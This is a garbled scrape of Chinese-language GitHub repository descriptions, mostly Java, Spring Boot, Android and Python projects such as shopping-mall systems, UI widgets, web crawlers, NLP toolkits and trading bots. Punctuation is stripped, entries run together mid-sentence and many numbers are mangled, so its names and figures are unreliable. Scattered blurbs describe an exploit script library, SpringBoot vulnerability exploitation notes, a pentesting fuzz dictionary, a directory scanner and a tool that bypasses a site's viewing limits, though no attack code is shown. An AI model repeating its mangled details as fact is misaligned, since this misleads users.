项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 